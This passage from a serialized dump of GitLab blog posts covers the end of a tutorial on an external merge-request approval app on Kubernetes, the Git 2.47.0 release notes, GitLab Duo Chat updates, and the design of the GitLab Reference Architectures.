sample application can:\n1. Receive API requests from merge requests.\n2. Store the requests in AlchemyDB running on the same instance.\n3. Show Approve/Reject buttons for each row to approve or reject the corresponding merge request status check.\n\n## How to deploy the status review demo application\n1. Import this [GitLab repo project](https://gitlab.com/sakkoub-publicgroup/external-approval-app) to your GitLab account.\n2. The project pipeline will deploy the application to a Kubernetes cluster. To achieve this, define a [GitLab Agent](https://docs.gitlab.com/ee/user/clusters/agent/install/index.html) for Kubernetes in a separate project and include a path to the cloned project under the “[user_access](https://docs.gitlab.com/ee/user/clusters/agent/user_access.html)” section in the agent configuration.\n3. Add a new environment variable `KUBE_CONTEXT`, with the value equal to the used agent path:name, similar to the following structure `path/to/agent/project:agent-name`.\n4. The status check application will be deployed to the `approval-app` namespace by default.\n5. Create the `approval-app` namespace in the target Kubernetes cluster.\n6. In the created namespace, add a secret named `gitlab-token` with the value set to the personal access token (PAT) of the user who will be approving the requests. The approval application will use this PAT to communicate back to the GitLab instance.\n7. Run the status check application pipeline on the main branch.\n8. Once deployed, the application will be exposed behind a load balancer. Use this command to grab the public IP address of the load balancer: `kubectl get services -n approval-app`.\n9. The application can then be accessed using this URL: http://EXTERNAL-IP/approval-apps/. Replace the `EXTERNAL-IP` with the value of the external IP address from the previous step. The resulting page should look like below (the table would be empty as we have not added any new merge requests yet).\n\n![Table showing IP address](https://res.cloudinary.com/about-gitlab-com/image/upload/v1752507534/v0pgvobf09eh9yqxqzrk.png)\n\n## Configure status check in GitLab\n\n1. In the GitLab project where the external status check needs to be configured, from the left menu, navigate under settings **-\\> Merge Request** and scroll down to **Status checks**.\n2. Click on **Add status check**.\n3. Add a service name.\n4. For the API to check enter: `[http://EXTERNAL-IP[/approval-apps/status_check`. Replace the `EXTERNAL-IP` with the external IP address found in the previous steps.\n5. Leave the `Target Branch` to the default, or select branch if you want this check to be triggered only for merge requests against certain branches.\n6. Leave `HMAC Shared Secret` as it is and click **Add status check**.\n\n![How to configure status check](https://res.cloudinary.com/about-gitlab-com/image/upload/v1752507426/jal2hw9ef3pydbetbp7p.png)\n\n## Test everything together\n\n1. In the project where you have configured the external check, create a new merge request from any branch targeting the main branch (assuming the main branch was selected when the external check was configured in the previous section).\n2. In the merge request details, look for the **Status checks** section and it should show `1 Pending`.\n3. Now, in a new tab, open the deployed external check application using this URL (replace `EXTERNAL-IP` with the value of the external IP address from the previous steps): `http://EXTERNAL-IP/approval-apps/`.\n4. A new entry should show in the list for the request external check from the merge request just created. Click on **Approve**.\n5. Switch back to the merge request's details screen and notice how the merge request is showing an approved status now.\n\n## Debugging tips\n\nUse the following notes to debug if something does not go as planned:\n\nIt is always helpful to view the logs for the external status check application. To do so: \n   1. Extract the name of the application pod using this command: `kubectl get pods -n approval-app`.\n   2. View the pod logs `kubectl logs [THE NAME OF THE POD] -n approval-app`.\n\nYou can SSH into the application pod and view the database (Alchemydb), which is used for the application. \n   1. `kubectl exec -it \\[POD-NAME\\] -n approval-app -- /bin/sh` \n   2. `cd instance`\n   3. `sqlite3 gitlab_status_checks.db` \n   4. To view the database tables, type `.tables`.\n   5. To describe the table structure, type `PRAGMA table_info('status_check');`.\n   6. To view all the records in the `status_check` table, type `select * from status_check`.\n\n> Discover more about [GitLab External Status Check](https://docs.gitlab.com/ee/user/project/merge_requests/status_checks.html) and how to gain more control over merge requests.\n",[696,695,754,110],{"slug":4247,"featured":6,"template":678},"tutorial-integrate-gitlab-merge-request-approvals-with-external-systems","content:en-us:blog:tutorial-integrate-gitlab-merge-request-approvals-with-external-systems.yml","Tutorial Integrate Gitlab Merge Request Approvals With External Systems","en-us/blog/tutorial-integrate-gitlab-merge-request-approvals-with-external-systems.yml","en-us/blog/tutorial-integrate-gitlab-merge-request-approvals-with-external-systems",{"_path":4253,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":4254,"content":4259,"config":4264,"_id":4266,"_type":16,"title":4267,"_source":17,"_file":4268,"_stem":4269,"_extension":20},"/en-us/blog/whats-new-in-git-2-47-0",{"title":4255,"description":4256,"ogTitle":4255,"ogDescription":4256,"noIndex":6,"ogImage":3140,"ogUrl":4257,"ogSiteName":1180,"ogType":1181,"canonicalUrls":4257,"schema":4258},"What's new in Git 2.47.0?","Learn about the latest version of Git, including new global variables to configure reference and object hash formats. Discover contributions from GitLab's Git team and the wider Git community.","https://about.gitlab.com/blog/whats-new-in-git-2-47-0","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"What's new in Git 2.47.0?\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Justin Tobler\"}],\n        \"datePublished\": \"2024-10-07\",\n      }",{"title":4255,"description":4256,"authors":4260,"heroImage":3140,"date":4261,"body":4262,"category":813,"tags":4263},[1144],"2024-10-07","The Git project recently released [Git v2.47.0](https://lore.kernel.org/git/xmqqa5fg9bsz.fsf@gitster.g/).\nLet's look at a few notable highlights from this release, which includes\ncontributions from GitLab's Git team and the wider Git community.\n\n## New global configuration options\n\nIf you have been following recent Git releases, you are probably familiar with the new \"reftable\" reference backend that became available with\n[Git version 2.45](https://about.gitlab.com/blog/whats-new-in-git-2-45-0/). Check out our [Beginner's guide to the Git reftable format](https://about.gitlab.com/blog/a-beginners-guide-to-the-git-reftable-format/) to learn more. Previously, in order to initialize a repository with the \"reftable\" format, the `--ref-format` option needed to be passed to git-init(1):\n\n```sh\n$ git init --ref-format reftable\n```\n\nWith the 2.47 release, Git now has the `init.defaultRefFormat` configuration\noption, which tells Git which reference backend to use when initializing a\nrepository. This can be used to override the default \"files\" backend and begin using the \"reftable\" backend. To configure, execute the following:\n\n```sh\n$ git config set --global init.defaultRefFormat reftable\n```\n\nAs some of you may know, the object hash format used by Git repositories is\nalso configurable. By default, repositories are initialized to use the SHA-1\nobject format. An alternative is the SHA-256 format, which is more secure and future-proof. You can read more about this in one of our\n[previous blog posts on SHA-256 support in Gitaly](https://about.gitlab.com/blog/sha256-support-in-gitaly/#what-is-sha-256%3F). A SHA-256 repository can be created by passing the `--object-format` option to git-init(1):\n\n```sh\n$ git init --object-format sha256\n```\n\nIn this Git release another configuration option, `init.defaultObjectFormat`, has been added. This option tells Git which object format to use by default when initializing a repository. To configure, execute the following:\n\n```sh\n$ git config set --global init.defaultObjectFormat sha256\n```\n\nSomething to note, SHA-256 repositories are not interoperable with SHA-1\nrepositories and not all forges support hosting SHA-256 repositories. GitLab\nrecently announced [experimental support for SHA-256 repositories](https://about.gitlab.com/blog/gitlab-now-supports-sha256-repositories/) if you want to try it out.\n\nThese options provide a useful mechanism to begin using these repository\nfeatures without having to consciously think about it every time you initialize a new repository.\n\nThis project was led by [Patrick Steinhardt](https://gitlab.com/pks-gitlab).\n\n## New subcommand for git-refs(1)\n\nIn the previous Git release, the [git-refs(1)](https://git-scm.com/docs/git-refs) command was introduced to provide low-level access to references in a\nrepository and provided the \"migrate\" subcommand to convert between reference backends. This release adds a new \"verify\" subcommand which allows the user to check the reference database for consistency. To verify the consistency of a repository, we often execute [git-fsck(1)](https://git-scm.com/docs/git-fsck).\n\nNotably, this command does not explicitly verify the reference database of the repository though. With the introduction of the \"reftable\" reference format, which is a binary format and thus harder to inspect manually, it is now even more important that tooling be established to fill this gap. Let's set up a repository with an invalid reference to demonstrate:\n\n```sh\n# The \"files\" backend is used so we can easily create an invalid reference.\n$ git init --ref-format files\n$ git commit --allow-empty -m \"init\"\n# A lone '@' is not a valid reference name.\n$ cp .git/refs/heads/main .git/refs/heads/@\n$ git refs verify\nerror: refs/heads/@: badRefName: invalid refname format\n```\n\nWe can see the invalid reference was detected and an error message printed to the user. While this tooling is not something the end-user will likely run, it is particularly useful on the server side to ensure repositories remain consistent. Eventually, the goal is to integrate this command as part of git-fsck(1) to provide a unified way to execute repository consistency checks.\n\nThis project was led by Jialuo She as part of the Google Summer of Code. To\nlearn more, you can read Jialuo's [GSoC report](https://luolibrary.com/2024/08/25/GSoC-Final-Report/).\n\n## Ongoing reftables work\n\nThis release also includes fixes for some bugs found in the \"reftable\" backend. One of these bugs is particularly interesting and revolves around how table compaction was being performed.\n\nAs you may recall, the reftable backend consists of a series of tables\ncontaining the state of all the references in the repository. Each atomic set of reference changes results in a new table being written and recorded in the \"tables.list\" file. To reduce the number of tables present, after each reference update, the tables are compacted to follow a geometric sequence by file size. After the tables are compacted, the \"tables.list\" file is updated to reflect the new on-disk state of the reftables.\n\nBy design, concurrent table writes and compaction is allowed. Synchronization at certain points is controlled through the use of lock files. For example, when compaction is starting the \"tables.list\" file is initially locked so the file can be consistently read and the tables requiring compaction can also be locked. Since the actual table compaction can take a while the lock is released, allowing concurrent writes to proceed. This is safe because concurrent writers know that they must not modify the now-locked tables which are about to be compacted. When the newly compacted tables have finished being written, the \"tables.list\" file is locked again and this time it is updated to reflect the new table state.\n\nThere is a problem though: What happens if a concurrent reference update writes a new table to the \"tables.list\" in the middle of table compaction after the initial lock was released, but before the new list file was written? If this race were to occur, the compacting process would not know about the new table and consequently rewrite the \"tables.list\" file without the new table. This effectively drops the concurrent update and could result in references not being added, updated, or removed as expected.\n\nLuckily, the fix to remediate this problem is rather straightforward. When the compacting process acquires the lock to write to the \"tables.list\" it must first check if any updates to the file have occurred and reload the file. Doing so ensures any concurrent table updates are also reflected appropriately. For more information on this fix, check out the corresponding\n[mailing-list thread](https://lore.kernel.org/git/cover.1722435214.git.ps@pks.im/).\n\nThis project was led by [Patrick Steinhardt](https://gitlab.com/pks-gitlab).\n\n## Fixes for git-maintenance(1)\n\nAs a repository grows, it is important that it is properly maintained. By\ndefault, Git executes\n[git-maintenance(1)](https://git-scm.com/docs/git-maintenance) after certain\noperations to keep the repository healthy. To avoid performing unnecessary\nmaintenance, the `--auto` option is specified which uses defined heuristics to determine whether maintenance tasks should be run. The command can be\nconfigured to perform various different maintenance tasks, but by default, it simply executes [git-gc(1)](https://git-scm.com/docs/git-gc) in the background and allows the user to carry on with their business.\n\nThis works as expected until maintenance is configured to perform non-default maintenance tasks. When this happens the configured maintenance tasks are performed in the foreground and the initial maintenance process doesn't exit until all tasks complete. Only the \"gc\" task detaches into the background as expected. It turns out this was because git-gc(1), when run with `--auto`, was accidentally detaching itself, and other maintenance tasks had no means to do so. This had the potential to slow down certain Git commands as auto-maintenance had to run to completion before they could exit.\n\nThis release addresses this issue by teaching git-maintenance(1) the `--detach` option, which allows the whole git-maintenance(1) process to run in the background instead of individual tasks. The auto-maintenance performed by Git was also updated to use this new option. For more information on this fix, check out the [mailing-list thread](https://lore.kernel.org/git/cover.1723533091.git.ps@pks.im/).\n\nA little earlier it was mentioned that the auto-maintenance uses a set of\nheuristics to determine whether or not certain maintenance operations should be performed. Unfortunately for the \"files\" reference backend, when\n[git-pack-refs(1)](https://git-scm.com/docs/git-pack-refs) executes with the\n`--auto` option, there is no such heuristic and loose references are\nunconditionally packed into a \"packed-refs\" file. For repositories with many\nreferences, rewriting the \"packed-refs\" file can be quite time-consuming.\n\nThis release also introduces a heuristic that decides whether it should pack\nloose references in the \"files\" backend. This heuristic takes into account the size of the existing \"packed-refs\" file and the number of loose references present in the repository. The larger the \"packed-refs\" file gets, the higher the threshold for the number of loose references before reference packing occurs. This effectively makes reference packing in the \"files\" backend less aggressive while still keeping the repository in a maintained state. Check out the [mailing-list thread](https://lore.kernel.org/git/cover.1725280479.git.ps@pks.im/)\nfor more info.\n\nThis project was led by [Patrick Steinhardt](https://gitlab.com/pks-gitlab).\n\n## Code refactoring and maintainability improvements\n\nIn addition to functional changes, there is also work being done to refactor\nand clean up the code. These improvements are also valuable because they help move the project closer toward the longstanding goal of libifying its internal components. To read more, here is a recent\n[update thread](https://lore.kernel.org/git/eoy2sjhnul57g6crprxi3etgeuacjmgxpl4yllstih7woyuebm@bd62ib3fi2ju/) regarding libification.\n\nOne area of improvement has been around resolving memory leaks. The Git project has quite a few memory leaks. For the most part, these leaks don't cause much trouble because usually a Git process only runs for a short amount of time and the system cleans up after, but in the context of libification it becomes something that should be addressed. Tests in the project can be compiled with a leak sanitizer to detect leaks, but due to the presence of existing leaks, it is difficult to validate and enforce that new changes do not introduce new leaks. There has been an ongoing effort to fix all memory leaks surfaced by existing tests in the project. Leak-free tests are subsequently marked with `TEST_PASSES_SANITIZE_LEAK=true` to indicate that they are expected to be free of leaks going forward. Prior to this release, the project had 223 test files containing memory leaks. This has now been whittled down to just 60 in this release.\n\nAnother ongoing effort has been to reduce the use of global variables\nthroughout the project. One such notorious global variable is `the_repository`, which contains the state of the repository being operated on and is referenced all over the project. This release comes with a number of patches that remove uses of `the_repository` in favor of directly passing the value where needed. Subsystems in the Git project that still depend on `the_repository` have `USE_THE_REPOSITORY_VARIABLE` defined allowing the global to be used. Now the refs, config, and path subsystems no longer rely on its use.\n\nThis project was led by [Patrick Steinhardt](https://gitlab.com/pks-gitlab)\nwith the help of [John Cai](https://gitlab.com/jcaigitlab) and\n[Jeff King](https://github.com/peff).\n\n## Read more\n\nThis blog post highlighted just a few of the contributions made by GitLab and the wider Git community for this latest release. You can learn about these from the [official release announcement](https://lore.kernel.org/git/xmqqa5fg9bsz.fsf@gitster.g/)\nof the Git project. Also, check out our [previous Git release blog posts](https://about.gitlab.com/blog/tags/git/)\nto see other past highlights of contributions from GitLab team members.\n\n- [What’s new in Git 2.46.0?](https://about.gitlab.com/blog/whats-new-in-git-2-46-0/)\n- [What's new in Git 2.45.0?](https://about.gitlab.com/blog/whats-new-in-git-2-45-0/)\n- [A beginner's guide to the Git reftable format](https://about.gitlab.com/blog/a-beginners-guide-to-the-git-reftable-format/)\n- [Git pull vs. git fetch: What's the difference?](https://about.gitlab.com/blog/git-pull-vs-git-fetch-whats-the-difference/)",[1067,815,267],{"slug":4265,"featured":92,"template":678},"whats-new-in-git-2-47-0","content:en-us:blog:whats-new-in-git-2-47-0.yml","Whats New In Git 2 47 0","en-us/blog/whats-new-in-git-2-47-0.yml","en-us/blog/whats-new-in-git-2-47-0",{"_path":4271,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":4272,"content":4278,"config":4284,"_id":4286,"_type":16,"title":4287,"_source":17,"_file":4288,"_stem":4289,"_extension":20},"/en-us/blog/gitlab-duo-chat-get-to-know-productivity-boosting-ai-enhancements",{"title":4273,"description":4274,"ogTitle":4273,"ogDescription":4274,"noIndex":6,"ogImage":4275,"ogUrl":4276,"ogSiteName":1180,"ogType":1181,"canonicalUrls":4276,"schema":4277},"GitLab Duo Chat: Get to know productivity-boosting AI enhancements","Learn about Chat's new capabilities, including migration to Claude 3.5 Sonnet, new slash command helpers, and the integration of Root Cause Analysis and Explain Vulnerability features.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1750098629/Blog/Hero%20Images/Blog/Hero%20Images/blog-image-template-1800x945%20%281%29_77JeTV9gAmbXM0224acirV_1750098628882.png","https://about.gitlab.com/blog/gitlab-duo-chat-get-to-know-productivity-boosting-ai-enhancements","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"GitLab Duo Chat: Get to know productivity-boosting AI enhancements\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Jannik Lehmann\"},{\"@type\":\"Person\",\"name\":\"David O'Regan\"}],\n        \"datePublished\": \"2024-10-03\",\n      }",{"title":4273,"description":4274,"authors":4279,"heroImage":4275,"date":4281,"body":4282,"category":791,"tags":4283},[4280,2680],"Jannik Lehmann","2024-10-03","At GitLab, we [continuously strive to enhance your experience with GitLab Duo Chat]((https://gitlab.com/gitlab-org/gitlab/-/issues/430124)), our AI-powered assistant designed to streamline your development workflows. In this article, we share a series of significant updates that bring even more power, precision, and functionality to GitLab Duo Chat. \n\n## Migration to Claude 3.5 Sonnet\n\nWe are thrilled to announce a major upgrade for GitLab Duo Chat: [the migration of its underlying Large Language Model from Claude 3 Sonnet to the more advanced Claude 3.5 Sonnet](https://gitlab.com/gitlab-org/gitlab/-/issues/468334). This new model brings substantial performance enhancements, offering superior accuracy, context-awareness, and efficiency in AI-driven conversations.\n\nWith Claude 3.5 Sonnet powering GitLab Duo Chat, users can expect more precise and relevant responses. This upgrade ensures Chat remains at the forefront of AI technology, helping your team work more effectively in their daily workflows.\n\n![Screenshot of Chat in VS Code](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750098636/Blog/Content%20Images/Blog/Content%20Images/image6_aHR0cHM6_1750098636137.png)\n\nNotice the [code block syntax highlighting](https://gitlab.com/gitlab-org/gitlab-vscode-extension/-/issues/1435) in Chat in VS Code.\n\n## Bringing the Slash Command Picker to Chat in the GitLab UI\n\nTo further improve the discovery of GitLab Duo Chat slash commands and make them more quickly accessible to our users, [we’ve introduced the Slash Command Picker UI](https://gitlab.com/gitlab-org/gitlab/-/issues/470703). Now, when you start typing a prompt with `/` in Chat in the GitLab UI, the available slash commands relevant to your current context will be automatically displayed. \n\nThis feature enhances your workflow and acts as the foundation for a growing platform of AI-powered capabilities that we plan to expand in the near future.\n\n![GitLab Duo Chat Slash Command Picker](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750098636/Blog/Content%20Images/Blog/Content%20Images/image1_aHR0cHM6_1750098636138.png)\n\n## Root Cause Analysis integration\n\nGitLab Duo Chat is gaining another powerful feature: [Root Cause Analysis](https://docs.gitlab.com/ee/user/gitlab_duo_chat/examples.html#troubleshoot-failed-cicd-jobs-with-root-cause-analysis). \n\nThis integration allows you to maintain context within Chat while investigating failed pipeline jobs, making it easier to ask follow-up questions and explore the root causes of problems.\n\nYou can access Root Cause Analysis by clicking the \"Troubleshoot\" button at the end of the job log, or you can select the job log portions and then ask Chat with the `/troubleshoot` slash command. With this seamless integration, you have the tools you need to resolve issues more efficiently.\n\n![Root Cause Analysis example in Chat](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750098636/Blog/Content%20Images/Blog/Content%20Images/image3_aHR0cHM6_1750098636140.png)\n\n## Fix code in the IDE\n\nOne of the latest enhancements to GitLab Duo Chat is the ability to ask it to [fix selected code](https://docs.gitlab.com/ee/user/gitlab_duo_chat/examples.html#fix-code-in-the-ide) within your IDE. This feature, introduced in GitLab 17.3, is available in the Web IDE, VS Code, and JetBrains IDE. It allows you to make specific code fixes by selecting portions of code and using the /fix slash command.\n\nFor example, you can instruct Chat to:\n- Fix grammar mistakes and typos with `/fix grammar mistakes and typos`.\n- Address performance issues using `/fix performance problems`.\n- Solve specific bugs or algorithm-related issues with commands like `/fix duplicate database inserts` or `/fix race conditions`.\n- Resolve code compilation errors with `/fix the build`.\n\nThis feature is designed to help developers quickly resolve common coding issues and improve the quality of their code, all while staying within their familiar IDE environment.\n\nHere is an example for fixing grammar mistakes and improving the language of (code) comments.\n\n![An example for fixing grammar mistakes](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750098636/Blog/Content%20Images/Blog/Content%20Images/image5_aHR0cHM6_1750098636142.png)\n\nHere is an example for fixing C code to print the disk usage. Chat correctly suggests missing header includes and provides more help to avoid additional bugs. The source code is available in [the GitLab Duo challenge project](https://gitlab.com/gitlab-da/use-cases/ai/ai-workflows/gitlab-duo-challenges/code-challenges/fix-c-cli-perf).\n\n![Chat enhancements - image 5](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750098636/Blog/Content%20Images/Blog/Content%20Images/image2_aHR0cHM6_1750098636144.png)\n\n## Explain Vulnerability now in GitLab Duo Chat\n\nAnother highly popular AI-powered feature, [Explain Vulnerability, has been integrated into GitLab Duo Chat](https://gitlab.com/groups/gitlab-org/-/epics/13309). This addition allows you to explore vulnerability details in depth while keeping your Chat context intact. You can ask follow-up questions and engage in more comprehensive discussions directly within the chat environment. You can access this feature by viewing a SAST vulnerability in your project’s Vulnerability Report.\n\nCurrently, this feature supports results from SAST scanners, including [Advanced SAST](https://docs.gitlab.com/ee/user/application_security/sast/gitlab_advanced_sast.html), with plans to extend support to additional scanners soon.\n\n![Sample Vulnerability Report](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750098636/Blog/Content%20Images/Blog/Content%20Images/image4_aHR0cHM6_1750098636148.png)\n\n## What's next?\n\nWe're continuously improving GitLab Duo Chat. Some areas we're exploring include:\n- Context is important. We’re prioritizing the integration of [commits](https://gitlab.com/gitlab-org/gitlab/-/issues/468460), [pipeline jobs](https://gitlab.com/gitlab-org/gitlab/-/issues/468461), and [merge requests](https://gitlab.com/gitlab-org/gitlab/-/issues/464587) into Chat’s contextual scope. Additionally, we are looking into [terminal assistance with Chat](https://gitlab.com/gitlab-org/gitlab-vscode-extension/-/issues/1423). This expansion will allow Chat to provide more informed and relevant responses based on a broader range of data.\n- Introduce the `/help` slash command. To make navigating Chat’s AI-powered features even more intuitive, we started development on [a /help slash command](https://gitlab.com/gitlab-org/gitlab/-/issues/462122). This new feature will guide users through the available commands and capabilities for easier and faster access to the tools you need.\n- Make Chat available in [supported IDEs](https://docs.gitlab.com/ee/user/gitlab_duo_chat/#supported-editor-extensions). You can follow the development work for Visual Studio in [this epic](https://gitlab.com/groups/gitlab-org/editor-extensions/-/epics/22). \n\nWe look forward to [hearing your feedback on these enhancements](https://gitlab.com/gitlab-org/gitlab/-/issues/430124). Stay tuned for more updates as we continue to evolve [GitLab Duo Chat](https://about.gitlab.com/gitlab-duo/).\n\n> Get started with GitLab Duo Chat today by [signing up for a free 60-day trial](https://about.gitlab.com/solutions/gitlab-duo-pro/sales/?toggle=gitlab-duo-pro).",[790,943,754,695],{"slug":4285,"featured":6,"template":678},"gitlab-duo-chat-get-to-know-productivity-boosting-ai-enhancements","content:en-us:blog:gitlab-duo-chat-get-to-know-productivity-boosting-ai-enhancements.yml","Gitlab Duo Chat Get To Know Productivity Boosting Ai Enhancements","en-us/blog/gitlab-duo-chat-get-to-know-productivity-boosting-ai-enhancements.yml","en-us/blog/gitlab-duo-chat-get-to-know-productivity-boosting-ai-enhancements",{"_path":4291,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":4292,"content":4298,"config":4304,"_id":4306,"_type":16,"title":4307,"_source":17,"_file":4308,"_stem":4309,"_extension":20},"/en-us/blog/how-we-designed-the-gitlab-reference-architectures",{"title":4293,"description":4294,"ogTitle":4293,"ogDescription":4294,"noIndex":6,"ogImage":4295,"ogUrl":4296,"ogSiteName":1180,"ogType":1181,"canonicalUrls":4296,"schema":4297},"How we designed the GitLab Reference Architectures","Take a look back with us as we dive into our Reference Architectures design journey to help users easily deploy GitLab at scale. Learn our goals, process, and what's happened in the five years since.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1750098651/Blog/Hero%20Images/Blog/Hero%20Images/blog-image-template-1800x945%20%282%29_52vS9ne2Hu3TElOeHep0AF_1750098651525.png","https://about.gitlab.com/blog/how-we-designed-the-gitlab-reference-architectures","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"How we designed the GitLab Reference Architectures\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Grant Young\"}],\n        \"datePublished\": \"2024-10-02\",\n      }",{"title":4293,"description":4294,"authors":4299,"heroImage":4295,"date":4301,"body":4302,"category":734,"tags":4303},[4300],"Grant Young","2024-10-02","We introduced the first [GitLab Reference Architectures](https://docs.gitlab.com/ee/administration/reference_architectures) five years ago. Originally developed as a partnership between the GitLab Test Platform (formally Quality Engineering) and Support teams, along with other contributors, these architectures aim to provide scalable and elastic starting points to deploy GitLab at scale, tailored to an organization's target load.\n\nSince their debut, we've been thrilled to see the impact these architectures have had on our customers as they navigate their DevSecOps journey. We continue to iterate, expand, and refine the architectures, reflecting our commitment to providing you with the latest, best-in-class guidance on deploying, scaling, and maintaining your GitLab environments.\n\nIn recognition of the five-year milestone, here is a peek behind the curtain on _how_ we designed the Reference Architectures and how that design still applies today.\n\n## The problem\n\nBefore introducing the Reference Architectures, we frequently heard from our customers about the hurdles they faced when deploying GitLab at scale to meet their performance and availability goals.\n\nWhile every GitLab environment can be considered a little unique because of the need to meet a customer's own requirements, we recognized from running GitLab.com, as well as from our larger customers, that there were common fundamentals to deploying GitLab at scale that were worth sharing. Our objective was to address customer needs while promoting deployment best practices to reduce drift and increase alignment.\n\nSimultaneously, we wanted to significantly expand our performance testing efforts. The goals of this expansion were to provide our engineering teams with a deeper understanding of performance bottlenecks, to drive improvements in GitLab's performance, and to continuously test the application moving forward to ensure it remained performant. However, to conduct meaningful performance tests, we needed a standardized GitLab environment design capable of handling the target loads.\n\nEnter the Reference Architectures.\n\n## The goals\n\nWith the need for a common architecture clear, we turned next to set the goals of this initiative, which ultimately became the following:\n\n- Performance: Ensure the architecture can handle the target load efficiently.\n- Availability: Maximize uptime and reliability wherever possible.\n- Scalability and elasticity: Ensure the architecture is scalable and elastic to meet individual customer needs.\n- Cost-effectiveness: Optimize resource allocation to avoid unnecessary expenses.\n- Maintainability: Make the architecture deployment and management as straightforward as possible with standardized configurations.\n\nIt's crucial to note that these goals were not in order and they are goals we stay true to today.\n\n## The process\n\nOnce the goals were set, we faced the challenge of designing an architecture, validating it, and making sure that it was fit for purpose and met those goals.\n\nThe process itself was relatively simple in design:\n\n- Gather metrics on existing environments and the loads they were able to handle.\n- Define a prototype architecture based on these metrics.\n- Build and test the environment to validate.\n- Adjust the environment iteratively based on the test results and metrics until we had a validated architecture that met the goals.\n\nWhile simple in design, this, of course, was not the case in practice so we got to work.\n\nFirst, we collected and reviewed the data. To that end, we reviewed metrics and logging data from GitLab.com as well as several participating large customers to correlate the environment sizes deployed to the load they were handling. To achieve this, we needed an objective and quantifiable way to measure that load across any environment, and for that we used **Requests per Seconds (RPS)**. With RPS we could see the concurrent load each environment handled and correlate this to the user count accordingly. Specifically, a user count would correlate to the full manual and automated load (such as continuous integration). From that data, we were able to correlate this across several environment sizes and start to pick out common patterns for the architectures.\n\nNext, we started with a prototype architecture that aimed to meet the goals while cross-referencing with the data we collected. In fact, we actually started this step in conjunction with the first step initially as we had a good enough idea of where to start: Taking the fundamental GitLab.com design and scaling it down for individual customer loads in cost-effective ways. This allowed us to start performance testing the prototype with the data we were analyzing to corroborate accordingly. After quite a few iterations, we had a starting point for our prototype architecture.\n\nTo thoroughly test and validate the architecture we needed to turn to performance testing and define our methodology. The approach was to target our most common endpoints with a representative test data set at RPS loads that were also representative. Then, although we had manually built the prototype architecture, we knew we needed tooling to automatically build environments and handle tasks such as updates. These efforts resulted in the [GitLab Performance Tool](https://about.gitlab.com/blog/how-were-building-up-performance-testing-of-gitlab/) and [GitLab Environment Toolkit](https://about.gitlab.com/blog/why-we-are-building-the-gitlab-environment-toolkit-to-help-deploy-gitlab-at-scale/), which I blogged about previously and which we continue to use to this day (and you can use too!).\n\nWith all the above in place we started the main work of validating the prototype architecture through multiple cycles of testing and iterating. In each cycle, we would performance test the environment, review the results and metrics, and adjust the environment accordingly. Through iteration we were able to identify what failures were real application performance issues and what were environmental, and eventually we had our first architecture. That architecture is now known as the [200 RPS or 10,000-user Reference Architecture](https://docs.gitlab.com/ee/administration/reference_architectures/10k_users.html).\n\n![GitLab Reference Architecture - 200 RPS](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750098658/Blog/Content%20Images/Blog/Content%20Images/reference_architecture_aHR0cHM6_1750098658326.png)\n\n## Where Reference Architectures are today\n\nSince publishing our first validated Reference Architecture, the work has never stopped! We like to describe the architectures as living documentation, as they're constantly being improved and expanded with additions such as:\n\n- various Reference Architecture sizes based on common deployments\n- non-highly available sizes for smaller environments\n- full step-by-step documentation in collaboration with our colleagues in Technical Writing and Support\n- expanded guidance and new naming scheme to help with right sizing, scaling, and how to deal with outliers such as monorepos\n- cloud native hybrid variants where select components are run in Kubernetes\n- recommendations and guidance for cloud provider services\n- and more! Check out the [update history](https://docs.gitlab.com/ee/administration/reference_architectures/#update-history) section in the Reference Architecture documentation!\n\nAll this is driven by our [comprehensive testing program](https://docs.gitlab.com/ee/administration/reference_architectures/#validation-and-test-results) that we built alongside the Reference Architectures to continuously test that they remain fit for purpose against the latest GitLab code _every single week_ and to catch any unexpected performance issues early.\n\nAnd we're thrilled to see these efforts have helped numerous customers to date as well as our own engineering teams deliver new, exciting services. In fact, our engineering teams used the Reference Architectures to develop [GitLab Dedicated](https://about.gitlab.com/dedicated/). Five years on, our commitment is stronger than ever. The work very much continues in the same way it started to ensure you have the best-in-class guidance for your DevSecOps journey.\n\n> Learn more about [GitLab Reference Architectures](https://docs.gitlab.com/ee/administration/reference_architectures/).\n",[1384,943,1268,676,2705],{"slug":4305,"featured":92,"template":678},"how-we-designed-the-gitlab-reference-architectures","content:en-us:blog:how-we-designed-the-gitlab-reference-architectures.yml","How We Designed The Gitlab Reference Architectures","en-us/blog/how-we-designed-the-gitlab-reference-architectures.yml","en-us/blog/how-we-designed-the-gitlab-reference-architectures",{"_path":4311,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":4312,"content":4318,"config":4324,"_id":4326,"_type":16,"title":4327,"_source":17,"_file":4328,"_stem":4329,"_extension":20},"/en-us/blog/why-gitlab-is-deprecating-compliance-pipelines-in-favor-of-security-policies",{"title":4313,"description":4314,"ogTitle":4313,"ogDescription":4314,"noIndex":6,"ogImage":4315,"ogUrl":4316,"ogSiteName":1180,"ogType":1181,"canonicalUrls":4316,"schema":4317},"GitLab moves from compliance pipelines to security policies","Learn about our decision to deprecate compliance pipelines and how to migrate to pipeline execution policies. The process is detailed in this tutorial.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1750098128/Blog/Hero%20Images/Blog/Hero%20Images/security-checklist_security-checklist.png_1750098128272.png","https://about.gitlab.com/blog/why-gitlab-is-deprecating-compliance-pipelines-in-favor-of-security-policies","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Why GitLab is deprecating compliance pipelines in favor of security policies\",\n        \"author\": 